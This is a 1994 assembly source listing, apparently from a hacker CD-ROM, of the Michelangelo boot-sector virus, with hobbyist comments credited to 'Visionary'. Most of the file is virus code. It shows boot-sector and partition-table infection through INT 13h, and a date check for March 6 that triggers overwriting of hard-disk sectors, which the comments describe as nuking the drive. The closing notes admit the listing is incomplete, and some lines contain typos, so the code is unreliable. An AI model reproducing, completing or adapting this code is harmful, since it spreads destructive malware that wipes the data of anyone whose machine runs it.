home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / MICHANGL.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  7KB  |  226 lines

  1. ;     Michelangelo
  2. ;     Size: 512
  3. ;     Type: Boot infector
  4. ;     Date of action: March 6th
  5. ;
  6. ;
  7.  
  8. data_1e        equ    4Ch            ; (0000:004C=1DB1h)
  9. data_2e        equ    4Eh            ; (0000:004E=70h)
  10. data_3e        equ    413h            ; (0000:0413=280h)
  11. data_4e        equ    7C05h            ; (0000:7C05=203Ch)
  12. data_5e        equ    7C0Ah            ; (0000:7C0A=49EBh)
  13. data_6e        equ    7C0Ch            ; (0000:7C0C=2A3Ch)
  14. data_7e        equ    7            ; (694E:0007=0)
  15. data_8e        equ    8            ; (694E:0008=0)
  16. data_9e        equ    0Ah            ; (694E:000A=0)
  17. data_11e    equ    7C03h            ; (694E:7C03=0)
  18.   
  19. seg_a        segment
  20.         assume    cs:seg_a, ds:seg_a
  21.   
  22.   
  23.         org    100h
  24.   
  25. mich        proc    far
  26.   
  27. start:                      
  28.         jmp    loc_6 ; (01AF) "This is what you see at sector 0"
  29.         db    0F5h, 0, 80h, 9Fh, 2, 3 ; A lot of the virus is hidden
  30.         db    0, 56h, 2, 0, 0C8h, 1Eh ; in these defined bytes
  31.         db    50h, 0Ah, 0D2h, 75h, 1Bh, 33h ; watch this carefully
  32.         db    0C0h, 8Eh, 0D8h, 0F6h, 6, 3Fh ; or you will miss where
  33.         db    4, 1, 75h, 10h, 58h, 1Fh ; it writes to your
  34.         db    9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0 ; partiton table
  35.         db    9Ch, 0E8h, 0Bh, 0, 9Dh, 0CAh
  36.         db    2, 0, 58h, 1Fh, 2Eh, 0FFh
  37.         db    2Eh, 0Ah, 0, 50h, 53h, 51h
  38.         db    52h, 1Eh, 6, 56h, 57h, 0Eh
  39.         db    1Fh, 0Eh, 7, 0BEh, 4, 0
  40. loc_1: ;Init registers
  41.         mov    ax,201h
  42.         mov    bx,200h
  43.         mov    cx,1
  44.         xor    dx,dx            ; Zero register
  45.         pushf                ; Push flags
  46.         call    dword ptr ds:data_9e    ; (694E:000A=0)
  47.         jnc    loc_2            ; Jump if carry=0
  48.         xor    ax,ax            ; Zero register
  49.         pushf                ; Push flags
  50.         call    dword ptr ds:data_9e    ; (694E:000A=0)
  51.         dec    si
  52.         jnz    loc_1            ; Jump if not zero
  53.         jmp    short loc_5        ; (01A6)
  54. loc_2: ;Zero registers clear direction
  55.         xor    si,si            ; Zero register
  56.         cld                ; Clear direction
  57.         lodsw                ; String [si] to ax
  58.         cmp    ax,[bx]
  59.         jne    loc_3            ; Jump if not equal
  60.         lodsw                ; String [si] to ax
  61.         cmp    ax,[bx+2]
  62.         je    loc_5            ; Jump if equal
  63. loc_3: ; cmp byte ptr See infected
  64.         mov    ax,301h
  65.         mov    dh,1
  66.         mov    cl,3
  67.         cmp    byte ptr [bx+15h],0FDh
  68.         je    loc_4            ; Jump if equal
  69.         mov    cl,0Eh
  70. loc_4: ;call out all db hiden data
  71.         mov    ds:data_8e,cx        ; (694E:0008=0)
  72.         pushf                ; Push flags
  73.         call    dword ptr ds:data_9e    ; (694E:000A=0)
  74.         jc    loc_5            ; Jump if carry Set
  75.         mov    si,3BEh
  76.         mov    di,1BEh
  77.         mov    cx,21h
  78.         cld                ; Clear direction
  79.         rep    movsw            ; Rep while cx>0 Mov [si]
  80.         mov    ax,301h                 ; to es:[di]
  81.         xor    bx,bx            ; Zero register
  82.         mov    cx,1
  83.         xor    dx,dx            ; Zero register
  84.         pushf                ; Push flags
  85.         call    dword ptr ds:data_9e    ; (694E:000A=0)
  86. loc_5: ;Clear all set
  87.         pop    di
  88.         pop    si
  89.         pop    es
  90.         pop    ds
  91.         pop    dx
  92.         pop    cx
  93.         pop    bx
  94.         pop    ax
  95.         retn
  96. loc_6: ;Load all hiden data
  97.         xor    ax,ax            ; Zero register
  98.         mov    ds,ax
  99.         cli                ; Disable interrupts
  100.         mov    ss,ax
  101.         mov    ax,7C00h
  102.         mov    sp,ax
  103.         sti                ; Enable interrupts
  104.         push    ds
  105.         push    ax
  106.         mov    ax,ds:data_1e        ; (0000:004C=1DB1h)
  107.         mov    ds:data_5e,ax        ; (0000:7C0A=49EBh)
  108.         mov    ax,ds:data_2e        ; (0000:004E=70h)
  109.         mov    ds:data_6e,ax        ; (0000:7C0C=2A3Ch)
  110.         mov    ax,ds:data_3e        ; (0000:0413=280h)
  111.         dec    ax
  112.         dec    ax
  113.         mov    ds:data_3e,ax        ; (0000:0413=280h)
  114.         mov    cl,6
  115.         shl    ax,cl            ; Shift w/zeros fill
  116.         mov    es,ax
  117.         mov    ds:data_4e,ax        ; (0000:7C05=203Ch)
  118.         mov    ax,0Eh
  119.         mov    ds:data_1e,ax        ; (0000:004C=1DB1h)
  120.         mov    ds:data_2e,es        ; (0000:004E=70h)
  121.         mov    cx,1BEh
  122.         mov    si,7C00h
  123.         xor    di,di            ; Zero register
  124.         cld                ; Clear direction
  125.         rep    movsb            ; Rep while cx>0 Mov [si]
  126.         jmp    dword ptr cs:data_11e    ; to es:[di] (694E:7C03=0)
  127.         db    33h, 0C0h, 8Eh, 0C0h, 0CDh, 13h ;<- Notice all the
  128.         db    0Eh, 1Fh, 0B8h, 1, 2, 0BBh      ;          cd 13
  129.         db    0, 7Ch, 8Bh, 0Eh, 8, 0
  130.         db    83h, 0F9h, 7, 75h, 7, 0BAh
  131.         db    80h, 0, 0CDh, 13h, 0EBh, 2Bh
  132.         db    8Bh, 0Eh, 8, 0, 0BAh, 0
  133.         db    1, 0CDh, 13h, 72h, 20h, 0Eh
  134.         db    7, 0B8h, 1, 2, 0BBh, 0
  135.         db    2, 0B9h, 1, 0, 0BAh, 80h
  136.         db    0, 0CDh, 13h, 72h, 0Eh, 33h
  137.         db    0F6h, 0FCh, 0ADh, 3Bh, 7, 75h
  138.         db    4Fh, 0ADh, 3Bh, 47h, 2
  139.         db    75h, 49h
  140. loc_7:;check if it is time to nuke
  141.         xor    cx,cx            ; Zero register
  142.         mov    ah,4
  143.         int    1Ah ; Real time clock   ah=func 04h don't work on an xt
  144.                         ; read date cx=year, dx=mon/day
  145.         cmp    dx,306h                 ; See if March 6th
  146.         je    loc_8            ; Jump if equal to nuking subs
  147.         retf                ; Return to launch command.com
  148. loc_8:;get ready
  149.         xor    dx,dx            ; Zero register
  150.         mov    cx,1
  151. loc_9:;run 7 times nuke 31.5 megs of hd
  152.         mov    ax,309h
  153.         mov    si,ds:data_8e        ; (694E:0008=0)
  154.         cmp    si,3
  155.         je    loc_10            ; Jump if equal
  156.         mov    al,0Eh
  157.         cmp    si,0Eh
  158.         je    loc_10            ; Jump if equal
  159.         mov    dl,80h
  160.         mov    byte ptr ds:data_7e,4    ; (694E:0007=0)
  161.         mov    al,11h
  162. loc_10: ;nuke away 
  163.         mov    bx,5000h
  164.         mov    es,bx
  165.         int    13h            ; Disk  dl=drive a: ah=func 03h
  166.                         ;  write sectors from mem es:bx
  167.         jnc    loc_11            ; Jump if carry=0
  168.         xor    ah,ah            ; Zero register
  169.         int    13h            ; Disk  dl=drive a: ah=func 00h
  170.                         ;  reset disk, al=return status
  171. loc_11: ;rest for loc-9 nuking
  172.         inc    dh
  173.         cmp    dh,ds:data_7e        ; (694E:0007=0)
  174.         jb    loc_9            ; Jump if below
  175.         xor    dh,dh            ; Zero register
  176.         inc    ch
  177.         jmp    short loc_9        ; (0250)
  178. loc_12:;time to infect a floppie or hard dirve
  179.         mov    cx,7
  180.         mov    ds:data_8e,cx        ; (694E:0008=0)
  181.         mov    ax,301h
  182.         mov    dx,80h
  183.         int    13h    ; Disk  dl=drive a: ah=func 03h infect flopie
  184.                         ;  write sectors from mem es:bx
  185.         jc    loc_7            ; Jump if carry Set
  186.         mov    si,3BEh
  187.         mov    di,1BEh
  188.         mov    cx,21h
  189.         rep    movsw            ; Rep while cx>0 Mov [si]
  190.         mov    ax,301h                 : to es:[di]
  191.         xor    bx,bx            ; Zero register
  192.         inc    cl
  193.         int    13h ; Disk  dl=drive a: ah=func 03h lets infect hd
  194.                         ;  write sectors from mem es:bx
  195. ;*        jmp    short loc_13        ;*(02E0)
  196.         db    0EBh, 32h
  197.         db    1, 4, 11h, 0, 80h, 0
  198.         db    5, 5, 32h, 1, 0, 0
  199.         db    0, 0, 0
  200.         db    53h, 53h, 20h, 20h, 43h, 4Fh
  201.         db    4Dh
  202.         db    58 dup (0)
  203.         db    55h, 0AAh
  204.   
  205. seg_a        ends
  206.  
  207. ;Last notes this virus looks like a poor hack job on the stoned virus.
  208. ;It is kinda cool in the fact that it is hard to get out of the partition table
  209. ;even if you nuke the partition table it will live on even if you replace it.
  210. ;the only way to get it out of the partition table is 1. debug 2.clean ver 86b
  211. ;3 cpav 1.0 and above. oh yeah and all that special shit that came out for it
  212. ;this virus uses int 1ah which doesn't work on an XT system.
  213. ;the virus isn't actually 512 but that is how much it writes.
  214. ;it moves the boot area of a floppy to the last sector on the disk
  215. ;and on a harddrive it moves it to the last sector in the root directory
  216. ;This should show you all how much the media can over do it on things
  217. ;since this is really a lame virus,to tell you the truth there is a lot better
  218. ;ones out there.
  219. ;This in no way is a complete listing of the code for the virus.
  220. ;Nor is it the best since i'm not the best at Assembly.
  221. ;Done by Visionary.
  222. ;BTW to who ever wrote this virus... Get a life!  
  223.  
  224. -------------------------------------------------------------------------------
  225. Downloaded From P-80 Systems 304-744-2253
  226.